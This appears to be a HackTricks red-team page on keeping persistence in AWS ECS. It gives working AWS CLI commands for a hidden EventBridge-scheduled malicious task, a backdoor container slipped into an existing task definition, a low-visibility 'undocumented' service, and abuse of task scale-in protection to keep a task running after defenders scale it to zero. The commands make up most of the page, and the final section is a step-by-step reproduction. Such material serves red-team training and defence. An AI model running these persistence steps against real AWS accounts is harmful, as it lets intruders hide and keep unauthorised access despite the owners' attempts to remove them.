AWS - ECS Persistence

Reading time: 6 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

ECS

For more information check:

AWS - ECS Enum

Hidden Periodic ECS Task

note

TODO: Test

An attacker can create a hidden periodic ECS task using Amazon EventBridge to schedule the execution of a malicious task periodically. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.

bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
  {
    "name": "malicious-container",
    "image": "malicious-image:latest",
    "memory": 256,
    "cpu": 10,
    "essential": true
  }
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
  {
    "Id": "malicious-ecs-task-target",
    "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
    "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
    "EcsParameters": {
      "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
      "TaskCount": 1
    }
  }
]'

Backdoor Container in Existing ECS Task Definition

note

TODO: Test

An attacker can add a stealthy backdoor container in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.

bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
  {
    "name": "legitimate-container",
    "image": "legitimate-image:latest",
    "memory": 256,
    "cpu": 10,
    "essential": true
  },
  {
    "name": "backdoor-container",
    "image": "malicious-image:latest",
    "memory": 256,
    "cpu": 10,
    "essential": false
  }
]'

Undocumented ECS Service

note

TODO: Test

An attacker can create an undocumented ECS service that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.

bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
  {
    "name": "malicious-container",
    "image": "malicious-image:latest",
    "memory": 256,
    "cpu": 10,
    "essential": true
  }
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"

ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)

Abuse ecs:UpdateTaskProtection to prevent service tasks from being stopped by scale‑in events and rolling deployments. By continuously extending protection, an attacker can keep a long‑lived task running (for C2 or data collection) even if defenders reduce desiredCount or push new task revisions.

Steps to reproduce in us-east-1:

bash
# 1) Cluster (create if missing)
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)

# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
cat > /tmp/ht-persist-td.json << 'JSON'
{
  "family": "ht-persist",
  "networkMode": "awsvpc",
  "requiresCompatibilities": ["FARGATE"],
  "cpu": "256",
  "memory": "512",
  "containerDefinitions": [
    {"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
     "command": ["/bin/sh","-c","sleep 864000"]}
  ]
}
JSON
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null

# 3) Create service (use default VPC public subnet + default SG)
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
  --task-definition ht-persist --desired-count 1 --launch-type FARGATE \
  --network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"

# 4) Get running task ARN
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)

# 5) Enable scale-in protection for 24h and verify
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"

# 6) Try to scale service to 0 (task should persist)
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING

# Optional: rolling deployment blocked by protection
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'

# 7) Cleanup
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
aws ecs deregister-task-definition --task-definition ht-persist || true

Impact: A protected task remains RUNNING despite desiredCount=0 and blocks replacements during new deployments, enabling stealthy long‑lived persistence within the ECS service.

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks